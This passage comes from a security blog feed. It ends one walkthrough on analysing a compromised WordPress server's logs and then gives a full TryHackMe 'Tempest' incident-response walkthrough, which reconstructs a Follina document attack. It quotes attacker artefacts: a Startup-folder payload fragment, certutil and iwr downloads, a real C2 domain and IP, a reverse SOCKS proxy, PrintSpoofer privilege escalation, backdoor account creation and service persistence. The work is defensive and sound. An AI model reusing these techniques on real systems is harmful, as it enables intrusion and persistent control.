any further evidence of the file’s capabilities, the question tells us it’s a web shell. That means the attacker likely uploaded a malicious PHP script to maintain access and execute commands on the server. The log entry showing the upload path should reveal the exact filename — this is what we’re after.\nhttp Logs Viewer: Identifying the attacker’s web shell\nQuestion 6: What was the HTTP response code provided when the web shell was accessed for the final time? For the eagle-eyed readers out there, you may have noticed in the screenshot from the previous question the HTTP response code in the Status column — most were 200 (successful), but one wasn’t.\nhttp Logs Viewer: Identifying the attacker’s web shell\nAn easy way to confirm this is to use http Logs Viewer’s find function and search for the name of the web shell we identified in Question 5 — fr34k.php.\nThis narrows the log to entries containing that filename and makes it much easier to spot the final request. The last entry shows a 404 status, meaning the file was no longer accessible. Great job! Now let’s wrap up this investigation.\nConclusion: Logs Analyzed! How fun was that? A big thank you to Blue Team Labs Online for another awesome challenge.\nThis challenge was a fantastic deep dive into web server log analysis and plugin vulnerabilities. It gave us a realistic look at how attackers chain weaknesses (like unrestricted file uploads and remote code execution) into full compromise of a WordPress site.\nI picked this challenge because it’s a great way to sharpen incident response skills while practicing techniques that apply far beyond WordPress. From filtering HTTP methods to spotting suspicious user agents, and researching CVEs, every question built on the last, making the investigation feel logical and rewarding. As an added bonus, these log analysis skills are transferable to other web servers, so this was a solid primer for broader forensic work. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59\nFlare-VM: https://github.com/mandiant/flare-vm\nhttp Logs Viewer (formerly Apache Logs Viewer): https://www.apacheviewer.com/\nsqlmap: https://sqlmap.org/\nWPScan: https://wpscan.com/\nCVEdetails — CVE-2020–35489: https://www.cvedetails.com/cve/CVE-2020-35489/\nNational Vulnerability Database (NVD) — CVE-2020–36847: https://nvd.nist.gov/vuln/detail/CVE-2020-36847\n","date":"2026-01-05T00:00:00Z","image":"/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/32686f5b96e78357e96bbb17e3f5b5cd_MD5.png","permalink":"/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/","title":"Blue Team Labs Online  — Log Analysis - Compromised WordPress Challenge Walkthrough"},{"content":"TryHackMe | Tempest | Challenge Walkthrough An Endpoint Forensic Investigation Challenge Using SysmonView, EvtxECmd, Brim, \u0026amp; CyberChef. Image Credit: https://tryhackme.com/room/tempestincident\nIntroduction: Think you’ve got what it takes to tame the Tempest?\nIf so, you’ve stumbled on the right blog! Welcome to my weekly walkthrough — a comprehensive (but spoiler-free) guide to the Tempest challenge from TryHackMe. This room is the first of the capstone challenges for their SOC Level 1 learning path.\nFor this challenge, we’re putting on our incident response hats and putting our skills to the test. The Tempest workstation has been compromised, and it’s up to us to calm the storm. We’re given three artifacts to dig into and piece together what happened.\nThis is a sprawling, in-depth case that will push us to think creatively and challenge our skills in endpoint and network analysis. We’ll pivot between tools and reconstruct the full attack chain — from analyzing malware execution all the way through network discovery, command and control, privilege escalation, and persistence.\nFor the analysis, we’ll use a mix of SysmonView, Eric Zimmerman’s EvtxECmd and Timeline Explorer, Brim, CyberChef, and even VirusTotal to validate our findings.\nI’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. I don’t want to ruin any of the fun, so this walkthrough will not contain spoilers — but please use it as a reference and enjoy! Now, let’s get into it.\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: This room aims to introduce the process of analysing endpoint and network logs from a compromised asset. Given the artefacts, we will aim to uncover the incident from the Tempest machine. In this scenario, you will be tasked to be one of the Incident Responders that will focus on handling and analysing the captured artefacts of a compromised machine.\nTask 3: Preparation — Tools and Artifacts Questions 1, 2, \u0026amp; 3: What is the SHA256 hash of the capture.pcapng file? What is the SHA256 hash of the sysmon.evtx file? What is the SHA256 hash of the windows.evtx file? Following the theory from Tasks 1 \u0026amp; 2, which are not covered in this blog, we can now get started and leap into action. Our first set of questions is to determine the unique SHA256 hash of each artifact that we’ll use throughout the rest of the investigation.\nTo perform this task, we can leverage the Get-FileHash cmdlet in PowerShell. From the Incident Files directory, run the command below:\nGet-FileHash *\nThis will compute the hash for all files in the directory using the default algorithm, which is SHA256.\nPowerShell: Getting the file hashes\nTask 4: Initial Access — Malicious Document Now we’re getting to work! The first true challenge starts here in Task 4. For this task, our job is to assess a malicious document used to compromise the Tempest device. From the available artifacts, we’ll select the Sysmon event logs. Since this is a capstone challenge for the SOC Level 1 analyst track, I’ll assume you’re already familiar with Sysmon.\nThe fun part is that instead of relying solely on the Windows Event Viewer, we’ll work a little smarter by leveraging SysmonView, a third-party utility designed for visualizing Sysmon event logs in XML format.\nBut first, we’ll need to convert all the events contained within Sysmon.evtx to XML for parsing. To do this, open the Sysmon.evtx file in Event Viewer. Then, press Save All Events As…, change the file format to XML, and save.\nEvent Viewer: Exporting Sysmon logs as XML\nNow, we can pivot and open SysmonView, which is conveniently pinned to the taskbar of the analysis environment. Once it’s open, press File \u0026gt; Import Sysmon XML Events, and load up the events so we can get started.\nInvestigation Guide: To aid with the investigation, you may refer to the cheatsheet crafted by the team applicable to this scenario:\nStart with the events generated by Sysmon.\nEvtxEcmd, Timeline Explorer, and SysmonView can interpret Sysmon logs.\nFollow the child processes of WinWord.exe.\nUse filters such as ParentProcessID or ProcessID to correlate the relationship of each process.\nWe can focus on Sysmon events such as Process Creation (Event ID 1) and DNS Queries (Event ID 22) to correlate the activity generated by the malicious document.\nQuestion 1: The user of this machine was compromised by a malicious document. What is the file name of the document? The first artifact we need to hunt for is the malicious document itself. A good place to start is filtering the logs for Sysmon Event ID 11, which corresponds to File Creation events. Using SysmonView, select the All Events View tab at the bottom, then drag the Event Type column to the filter bar and expand Event Type: File Created.\nThis displays all the File Creation events in a neat table. Scroll down to the oldest results to start building a timeline.\nOnce we expand the early events, we’ll find the evidence we need: the creation of a document file from chrome.exe. Checking the target file name will reveal the file name and path, suggesting it was downloaded from a website.\nSysmonView: Identifying the malicious document\nQuestions 2 \u0026amp; 3: What is the name of the compromised user and machine? What is the PID of the Microsoft Word process that opened the malicious document? Next, we’ll need to collect some information about the environment, including the machine name, compromised user, and the process ID (PID) of the malicious document.\nOne approach to getting this information in one go is to remove the Event Type filter and search for the document’s name in the search box at the top. This filters the Sysmon events related to this specific file name. This leads us to a Process Create (Event ID 1) for WINWORD.EXE.\nSysmonView: Identifying the Microsoft Word PID\nAs a bonus, by identifying this event, we also get all the metadata we need to answer both Questions 2 \u0026amp; 3!\nQuestion 4: Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question? The wording of Question 4 is a little confusing since there wasn’t any domain reference in Question 3 that I found. It’s all good — we can infer what we’re looking for: the IP address of a malicious domain contacted by WINWORD.EXE.\nFor this, jump to the Process View tab in SysmonView and scroll down the process list to select WINWORD.EXE. Then click the image path in the box below, and finally click both session GUIDs. This gives us a clean diagram of the relationships between events tied to the process—very neat!\nScrolling through the events, we’ll stumble across a suspicious-looking domain in the DNS query, along with a corresponding destination IP address. Correlating the suspicious domain with the IP address is good, but through additional threat intelligence or process of elimination, we can also determine that this IP is malicious. We’ll see more of that later!\nSysmonView: Identifying the malicious IP address\nQuestion 5: What is the base64 encoded string in the malicious payload executed by the document? Now Question 5 is a little tricky because you might notice our visualization doesn’t show any child process like PowerShell that would give us a clue. Not to worry — we’ll try a different approach and bust out some of Eric Zimmerman’s tools: EvtxECmd and Timeline Explorer.\nThe idea is to use EvtxECmd to parse the Sysmon.evtx file and produce a CSV file that we can load into Timeline Explorer to view and filter the data. This makes it easier to examine the relationship between the Microsoft Word process and any child processes spawned by the malware. Fortunately, both tools are already built into our environment and can be found in the following directories:\nC:\\Tools\\EvtxECmd\\EvtxECmd.exe C:\\Tools\\TimelineExplorer\\TimelineExplorer.exe\nFirst, open PowerShell and run the command below to execute EvtxECmd and output the results to CSV:\nC:\\Tools\\EvtxECmd\\EvtxECmd.exe -f \u0026ldquo;C:\\Users\\user\\Desktop\\Incident Files\\sysmon.evtx\u0026rdquo; \u0026ndash;csv \u0026ldquo;C:\\Users\\user\\Desktop\\Incident Files\u0026rdquo; \u0026ndash;csvf Sysmon.csv\nPowerShell: Executing EvtxECmd\nNow comes the fun part. Open Timeline Explorer and load the new CSV file. We’ll need to do a few things here:\nFilter on the EventID column for 1 (process creation) Enter the parent process ID of WINWORD.EXE (496) into the PayloadData5 field to show any child processes we didn’t see in SysmonView Check the Executable Info column for the first event chronologically Timeline Explorer: Finding the encoded string\nSee the encoded blob following the FromBase64String function? That’s what we need to answer Question 5.\nBut we can take it a step further and decode it using something like CyberChef, which we’ll do for demonstration purposes. Within CyberChef, paste the encoded string into the input window. Then, add the From Base64 operation to the recipe.\nCyberChef: Decoding the string\nIn the output, we’ll get some extremely helpful clues that we’ll use in Task 5.\nQuestion 6: What is the CVE number of the exploit used by the attacker to achieve a remote code execution? Head back to the Timeline Explorer view and look closely — do you see anything unusual? The process executing the code is the Microsoft Support Diagnostic Tool (MSDT.exe), a legitimate diagnostic utility. Very strange.\nNow that we have some of the puzzle pieces, let’s put them together. Let’s take to Google and see if there’s a known vulnerability where MSDT is called from Word to execute code.\nWe’ll immediately identify the following CVE from Microsoft:\nA remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.\nBingo! We’ve stumbled across exploitation of the famous “Follina” vulnerability, tracked as CVE-2022–.\nTask 5: Initial Access — Stage 2 execution Investigation Guide: The Autostart execution reflects explorer.exe as its parent process ID.\nChild processes of explorer.exe within the event timeframe could be significant.\nProcess Creation (Event ID 1) and File Creation (Event ID 11) succeeding the document execution are worth checking.\nQuestion 1: The malicious execution of the payload wrote a file on the system. What is the full target path of the payload? From the Base64 command we found in Task 4, Question 5, we can start to get an idea of where the file was written:\n$app=[Environment]::GetFolderPath(\u0026lsquo;ApplicationData\u0026rsquo;);cd \u0026ldquo;$app\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\u0026rdquo;\nTo understand the full path, we just need to first identify where the $app variable is pointing and then append the rest of the path that we see in the cd command. One approach is to declare the variable in PowerShell within the analysis environment to see what happens, and then transpose the path into the victim’s environment—check out what I mean below:\nPowerShell: Testing the $app variable\nThe $app variable resolves to the ApplicationData folder for our user account. So, we need to change the username to the victim account name we identified in Task 4, Question 2 and put it all together to get our answer:\nC:\\Users\u0026lt;REDACTED\u0026gt;\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nDropping the payload into this folder means the executable will run each time the victim user logs in, since it’s placed in the Startup directory. This is a common way a threat actor establishes persistence on a system.\nQuestion 2: The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user? Now that we’ve discovered where the payload is executed from, let’s dig in and figure out what it does. Focusing on the next steps of the investigation guide, we know the time of the file write was 17:13:35, and we need to look at events with explorer.exe as a parent.\nLet’s jump back to SysmonView and visualize this with a handy diagram of all the events. Click the Hierarchy tab at the bottom of the window. Then, press Generate Diagram to spit out an incredibly helpful visual of the process relationships, which makes it a ton easier to identify child processes of explorer.exe.\nSysmonView: Identifying suspicious PowerShell process\nOne of the child processes is powershell.exe, which is interesting, especially in the context of command execution. Let’s take a quick peek by opening the PowerShell box.\nSysmonView: ProcessCreate Event Details for Powershell.exe\nInside, we’ll discover exactly what we need — the process command line of the payload. This tells us exactly what it does: download another binary, or second stage.\nQuestion 3: Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution? If we take a closer look at the command from the last question, we’ll discover that certutil was abused to download another .exe file via PowerShell. Let’s dig into it more.\nClose the window and review the diagram. Find the child process below powershell.exe on the diagram—that’s our Stage 2.\nSysmonView: Identifying the Stage 2 binary\nDouble-click it to open the details and grab the file hash for our list of indicators.\nSysmonView: ProcessCreate Event Details for the Stage 2 binary\nQuestion 4: The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker? With the name of the executable, an easy way to identify the command-and-control (C2) server is to step back to the Process View tab. Recall that we can search for the name of the second-stage binary and easily view its related network connections to the C2 server as captured by Sysmon.\nFrom the relationships mapped here, we can infer that the DNS query event and TCP connections to port 80 represent a pair:\nSysmonView: Process View of the Stage 2 binary\nThis provides us with the domain, IP address, and port used for command and control by the second stage. These will be incredibly valuable artifacts for the network traffic analysis in Task 6.\nTask 6: Initial Access — Malicious Document Traffic Investigation Guide: Since we have discovered network-related artefacts, we may again refer to our cheatsheet, which focuses on Network Log Analysis:\nWe can now use Brim and Wireshark to investigate the packet capture**.**\nFind network events related to the harvested domains and IP addresses.\nSample Brim filter that you can use for this investigation: __path==\u0026quot;http\u0026quot; \u0026quot;\u0026lt;malicious domain\u0026gt;\u0026quot;\nNow that we’ve gotten a better idea of what the malicious document is, which vulnerability it exploits, what the second stage is, and what C2 infrastructure it connects with, it’s time to dig further into the network traffic. For this, we’ll make a detour and pivot to a second artifact: capture.pcap.\nThis is a network packet capture file that we can use to go deep into investigating the communication between the malware and the command-and-control server.\nTo start, we’ll use Brim (now called Zui) to process and visualize the packet data with some awesome built-in queries.\nBrim Overview\nGo ahead and open up Brim, which is already installed in the analysis environment, and drop the capture.pcap into the input window. Once it loads, we’ll get started.\nQuestion 1: What is the URL of the malicious payload embedded in the document? Now we already know some valuable information, including the malware hosting domain and IP address, the C2 URL, and the C2 IP address.\nRemember back in Task 4, Question 4 we identified an IP address and domain embedded in the malicious document? Because we have most of the information already, this is a logical starting point since we’re looking for network URL information related to the stage-one malicious document.\nSince we’re looking to identify a URL request, an easy way to do this is to leverage the built-in Brim query HTTP Requests to determine which URL is being connected to. This will display an easy-to-read table containing the results we need.\nScroll down to the section containing the IP address from Task 4, Question 4, and we can see all the requests to this URL. There are a lot of interesting files here, but the one we’re focused on is the first: index.html.\nBrim: Identifying URLs related to the C2 IP address\nQuestion 2: What is the encoding used by the attacker on the c2 connection? Back in Task 4, Question 5, we determined that the attacker used Base64 encoding to obfuscate the payload within the malicious document. Could it be the same encoding for the C2 connection? Let’s check the network traffic to confirm.\nWithin our HTTP Requests view in Brim, scroll down to the entries with C2 IP address. Notice that the corresponding values in URI column contain long strings? We’ll use one of these to check if they are also Base64 encoded.\nBrim: Identifying Base64 strings in the URI\nCopy any one of these as a test and jump back into CyberChef, once again applying the From Base64 operation.\nCyberChef: Decoding a Base64 encoded parameter\nConfirmed! This shows us that the encoding is indeed Base64 — but more importantly, it might also indicate that some command return data is being exfiltrated via HTTP requests.\nQuestions 3 \u0026amp; 4: The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary? The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary? Now the cool part: by discovering that each of these strings contains the results of the executed commands, we can also identify the parameter that contains those results.\nTake a look at the URI and notice a common parameter and URL used by the binary. This parameter consistently appears in requests that include Base64-encoded data, strongly suggesting it’s being used to transmit command output back to the attacker — something we already suspected from the previous question.\nBrim: Identifying the URL and the Parameter\nSimilarly, the URL path reveals where the binary retrieves its next command to execute. These two pieces, the parameter and the URL, are important indicators for understanding the attacker’s C2.\nQuestion 5: What is the HTTP method used by the binary? To confirm how the binary communicates with the C2 server, check the method column in the HTTP Requests view in Brim. This shows whether the request uses GET, POST, etc.\nBrim: Identifying the HTTP method\nThe value in this column reveals the exact HTTP method the attacker used to retrieve commands and send data which is another important detail for understanding how the C2 channel operates.\nQuestion 6: Based on the user agent, what programming language was used by the attacker to compile the binary? To find this clue, we’ll pull back from the HTTP Requests query and search for the C2 IP in the Brim search box. Since we’re looking for a user agent, include the user_agent field in the query to surface unique results:\n167.71.222.162 user_agent\nNow scroll over to the user_agent column, and you’ll find another breadcrumb that reveals the programming language used to compile the binary.\nTask 7: Discovery — Internal Reconnaissance Investigation Guide: To continue with the investigation, we may focus on the following information:\nFind network and process events connecting to the malicious domain.\nFind network events that contain an encoded command.\nWe can use Brim to filter all packets containing the encoded string.\nLook for endpoint enumeration commands since the attacker is already inside the machine.\nIn addition, we may refer to our cheatsheet for Brim to quickly investigate the encoded traffic with the following filters:\nTo get all HTTP requests related to the malicious C2 traffic: _path==\u0026quot;http\u0026quot; \u0026quot;\u0026lt;replace domain\u0026gt;\u0026quot; id.resp_p==\u0026lt;replace port\u0026gt; | cut ts, host, id.resp_p, uri | sort ts\nQuestion 1: The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file? Remember in the last task how we discovered that the attacker uses the C2 binary to send the results of commands executed on the victim’s system? Now we’ll take a closer look at those commands and their outputs, decode them, and build a complete picture of what was run.\nWe’ll use the handy command provided in the investigation guide and plugin the relevant information we’ve already gathered during our case:\n_path==\u0026ldquo;http\u0026rdquo; \u0026ldquo;resolvecyber.xyz\u0026rdquo; id.resp_p==80| cut ts, host, id.resp_p, uri | sort ts\nOnce the results load, we’ll see the encoded commands we’re going to work with. Press the Export button in Brim and save the results as a .csv file—mine is called results.csv.\nBrim: Filtering the C2 results for export\nNext, we need a quick way to decode the Base64 strings following the q parameter. While we could copy and paste each one into CyberChef, let’s automate this with a PowerShell script.\nFull disclosure: GenAI was a big help here since regex still feels like black magic to me. But I say keep with the times and leverage the modern tools at our disposal as long as we verify the output is accurate.\nGet-Content .\\results.csv | ForEach-Object { if ($_ -match \u0026lsquo;q=([^,]+)\u0026rsquo;) { $encoded = $matches[1] $decoded = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String($encoded) ) $decoded } }\nHere’s what the script does:\nReads the results.csv file Matches q= followed by the encoded string (Task 6, Question 3) Extracts the Base64 string and decodes it into readable text Open Notepad and save this as a .ps1 script (I called mine decode.ps1) and run it. The output gives us incredible insight into the attacker’s actions—and right at the top, you’ll find the password we’re looking for in the $pass variable.\nPowerShell: Running the decode.ps1 script\nQuestion 2: The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine? Let’s keep reviewing the output of the script to learn more about the attacker’s reconnaissance activity. We can see that they used netstat to enumerate the listening ports.\nPowerShell: Identifying a listening remote access port\nWhen we review the open ports listed, a quick lookup on the Speedguide.net Ports Database helps us identify their purpose. One port stands out because it’s associated with Windows Remote Management (WinRM). This service can allow remote shell via PowerShell remoting when it’s enabled and authenticated, which makes it a juicy target for attackers.\nQuestion 3 \u0026amp; 4: The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection? What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection? Arriving at the bottom of the script during our review, we notice something interesting: the attacker downloads another binary named ch.exe using PowerShell Invoke-WebRequest (iwr) from the URL we identified earlier when analyzing the malicious document traffic.\nPowerShell: Identifying another suspicious binary\nSwitching back to SysmonView, we can pivot to the Process view tab and select ch.exe. From there, we’ll look for the related process creation event. This event will reveal two critical pieces of evidence to answer Question 3 \u0026amp; 4:\nThe full command line used to establish the reverse SOCKS proxy connection The SHA256 hash of the binary itself SysmonView: Using the process view to identify the proxy connection stand up\nQuestion 5: What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase. Now that we have the SHA256 hash of the tool used to establish the proxy, let’s pivot to some external threat intelligence to see if we can identify the specific utility. In this case, we’ll use the VirusTotal platform.\nNavigate to VirusTotal and submit the hash of ch.exe to check if it’s been seen before and gather additional intelligence. Right away, you’ll notice that the sample has been observed previously, with most anti-malware vendors detecting it as malicious. For the purposes of Question 5, focus on the family label provided by VirusTotal, it’s the key to identifying the tool.\nhttps://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451\nThis particular utility is designed for TCP/UDP tunneling over HTTP, a technique attackers often abuse to create covert channels and bypass network restrictions. This aligns perfectly with the behavior we observed earlier when the attacker stood up a reverse SOCKS proxy.\nQuestion 6: The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate? Jumping back over to the SysmonView Hierarchy map, something stands out: remember in Question 2 we identified a port associated with a specific service that could be used for a remote shell? We’ll actually stumble across the process name wsmprovhost.exe for that same service right in the graph, along with another suspicious file and a chain of process creations. Interesting!\nSysmonView: Using the hierarchy view to identify the authenticated service\nThis indicates that the remote management service was abused by the adversary and may have been used for further actions like lateral movement. For now, this evidence is enough to conclude that this service was the one authenticated to by the attacker.\nStick with this view since we’ll be focused on examining these binaries in the next task.\nTask 8: Privilege Escalation — Exploiting Privileges Investigation Guide: With this, we can focus on the following network and endpoint events:\nLook for events executed after the successful execution of the reverse socks proxy tool.\nLook for potential privilege escalation attempts, as the attacker has already established a persistent low-privilege access.\nQuestion 1: After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary? Now that we’ve confirmed the attacker authenticated using wsmprovhost.exe, let’s turn our attention to the next child process creation event highlighted in the diagram.\nSysmonView: Identifying the privilege escalation binary\nDouble-click the event to grab the SHA256 hash of the binary. This will give us the two pieces of evidence we need:\nThe executable name The SHA256 hash SysmonView: ProcessCreate Event Details of the privilege escalation binary\nTo submit the answer, combine the executable name and file hash. Identifying this binary and its hash not only answers the question but also provides us with another IOC for our list for hunting.\nQuestion 2: Based on the SHA256 hash of the binary, what is the name of the tool used? Now that we have the file hash in hand, we’ll once again turn to VirusTotal to enrich our findings and learn more about what this tool is. Submit the hash and review the results.\nVirusTotal: https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection\nThis time, the analysis provides more than just detection verdicts, but also includes helpful code insights and threat/family labels. These labels tell us what kind of tool this binary actually is, based on vendor and community analysis and can help add valuable context to the investigation.\nQuestion 3: The tool exploits a specific privilege owned by the user. What is the name of the privilege? After reviewing the VirusTotal results, we have a better idea of what this tool does and what the impact is — but we’re missing a critical detail: the specific user privilege that enables this exploit.\nSince we know the name of the tool, we can do a targeted Google search to see if other security researchers have documented its behavior. Take your pick!\nFor my context, I stumbled across a fantastic blog post from itm4n, the author of the tool, explaining how it works in great detail:\nPrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 _Over the last few years, tools such as RottenPotato, RottenPotatoNG or Juicy Potato have made the exploitation of…_itm4n.github.io\nFrom the blog, we quickly learn that this exploit abuses powerful impersonation privileges. These privileges allow a process to run code or even create a new process in the context of another user. For example:\nThese two privileges are very powerful indeed. They allow you to run code or even create a new process in the context of another user. To do so, you can call CreateProcessWithToken() if you have **\u0026lt;REDACTED\u0026gt;** or CreateProcessAsUser() if you have SeAssignPrimaryTokenPrivilege.\nUnderstanding these privileges is important because they enable attackers to escalate from a standard user to SYSTEM-level access, which is obviously not great.\nQuestion 4: Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary? Moving right along, it’s time to look at the next process creation event for the second tool used to establish a new C2 channel. This event is highlighted in the diagram and gives us exactly what we need to answer Question 4 — the name of the binary.\nSysmonView: Identifying the second C2 binary\nQuestion 5: The binary connects to a different port from the first c2 connection. What is the port used? You might have already guessed, but to determine the network connections used by the “final” binary to establish the second C2 connection, we’ll go back to the Process view tab and search for the executable name. Once we do that, we can easily identify the related network connection events, which will show us the domain, IP address, and the second port.\nSysmonView: Using the process view tab to identify network connections\nTask 9: Actions on Objective — Fully-owned Machine Investigation Guide:\nNow, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.\nIn addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.\nInvestigation Guide\nNow, we can rely on our cheatsheet to investigate events after a successful privilege escalation:\nUseful Brim filter to get all HTTP requests related to the malicious C2 traffic : _path==\u0026quot;http\u0026quot; \u0026quot;\u0026lt;replace domain\u0026gt;\u0026quot; id.resp_p==\u0026lt;replace port\u0026gt; | cut ts, host, id.resp_p, uri | sort ts\nThe attacker gained SYSTEM privileges; now, the user context for each malicious execution blends with NT Authority\\System.\nAll child events of the new malicious binary used for C2 are worth checking.\nQuestion 1: Upon achieving SYSTEM access, the attacker then created two users. What are the account names? Now we’re in the final phase of the investigation and the stakes are high. The adversary has achieved SYSTEM-level privileges, and we need to identify actions taken on the victim’s system.\nOur first task is to jump back over to Brim and collect new evidence based on the port we identified in Task 8, Question 5. Assuming the attacker’s C2 tactics, techniques, and procedures are consistent, we’ll repeat the same analysis process we used in Task 7, Question 1.\nBack in Brim, update the query to filter for the new port:\n_path==\u0026ldquo;http\u0026rdquo; \u0026ldquo;resolvecyber.xyz\u0026rdquo; id.resp_p==8080 | cut ts, host, id.resp_p, uri | sort ts\nExport the results again to .csv. This time, save the export as results2.csv—which means we’ll need to make a small modification to the decode.ps1 script we created earlier to account for the new file name.\nOpen the script in PowerShell ISE, update the file name to results2.csv, and run it directly in PowerShell ISE. This will perform the same parsing and decoding operations as before, allowing us to examine the contents of the URL parameters to determine what the attackers did after elevating to SYSTEM privileges.\nPowerShell ISE: Modifying the decode.ps1 script\nOpen the script in PowerShell ISE, update the file name to results2.csv, and run it directly in PowerShell ISE. This will perform the same parsing and decoding operations as before, allowing us to examine the contents of the URL parameters to determine what the attackers did after elevating to SYSTEM privileges. Let’s look for any commands indicating user creation.\nPowerShell ISE: Identifying user account additions\nToward the bottom of the output, we’ll find evidence that the attacker leveraged [net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user) commands to create two accounts. This is exactly what we need to answer Question 1.\nQuestion 2: Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail? Jumping back up to the top of our script output, we’ll also find evidence that the first attempt at running these commands failed because they were missing a crucial option. Compare the version that failed with the successful ones we found in the previous question to determine the missing option.\nPowerShell ISE: Identifying failed user account additions\nQuestion 3: Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity? While we could pivot to the third artifact, windows.evtx, and manually identify the account creation event, we have another option: leverage Microsoft’s documentation to confirm the standard event ID associated with this activity.\nAccording to Microsoft Learn, this is part of the Windows Security Auditing framework and is logged whenever an account is successfully created. I’ll put the link below for further reading.\nA user account was created. - Windows 10 _Describes security event A user account was created. This event is generated a user object is created._learn.microsoft.com\nQuestion 4: The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker? Back to the command analysis in PowerShell ISE, we’re searching for an event where the attacker added one of the newly created user accounts to the local administrators group for further privilege escalation and persistence.\nToward the bottom of the output, we’ll find evidence of this action using the net localgroup command. This is an old classic technique attackers use to grant elevated privileges to accounts they create/control.\nPowerShell ISE: Identifying additions to the local administrators group\nQuestion 5: Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group? Once again, rather than manually analyzing the windows.evtx artifact, we’ll lean on Microsoft’s documentation to confirm the standard event ID for this activity. According to Microsoft Learn, this event is logged whenever a user is added to a local group, including sensitive groups like Administrators.\nA member was added to a security-enabled local group. - Windows 10 _Describes security event A member was added to a security-enabled local group._learn.microsoft.com\nQuestion 6: After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this? At long last, we’ve made it to the end of the Tempest incident investigation. Our final task is to identify the persistence technique deployed by the attacker.\nIn the command output, we’ll find evidence that the attacker created a service using sc.exe and set it to auto-start. This service executes the final.exe binary we identified back in Task 8, Question 5. Another “oldie but goodie” technique that ensures the attacker’s code runs automatically whenever the system starts.\nPowerShell ISE: Identifying suspicious service creation\nBut that’s only half the answer — we need the full command line. No problem! Let’s have one last hoorah with SysmonView. Using either the hierarchical view or the process view, locate sc.exe, double-click it, and check out the full command line.\nSysmonView: Identifying the full commandline of the suspicious service creation\nBingo! Now we have the complete command from the Sysmon event log and have fully identified this persistence technique. Take a deep breath — we’ve closed out this investigation. Great job!\nConclusion: Whew! That was a long one — but we made it to the end. A big thank you to TryHackMe for putting together such a thorough and challenging capstone.\nThis challenge was a fantastic way to wrap up the SOC Level 1 learning path. It tied together so many concepts covered in the content and offered a realistic example of an incident response engagement. Along the way, we not only followed the attacker’s trail but also learned how to better utilize our tools in the field.\nI chose this week’s challenge to start closing out the SOC Level 1 path and get some hands-on practice with SysmonView, which I hadn’t used before. It didn’t disappoint! It made analyzing those ever-valuable Sysmon event logs so much faster than manual review alone. And because this challenge was so lengthy, it was incredibly rewarding — each question flowed logically into the next, making the investigation feel linear and cohesive. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap and consider following me! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nIf you liked my style and plan to continue the SOC Level 1 learning path, stick around and check out my walkthrough of the next capstone challenge:\nTryHackMe - Boogeyman 1 Challenge Walkthrough\nUntil next time — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://tryhackme.com/room/tempestincident\nEric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md\nCyberChef: https://gchq.github.io/CyberChef/\nMSRC — CVE-2022–30190: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190\nSpeedguide.net — Ports Database: https://www.speedguide.net/ports.php\nVirusTotal — ch.exe: https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451\nVirusTotal — spf.exe: https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection\nitm4n’s blog: PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/\nMicrosoft Learn — net user: 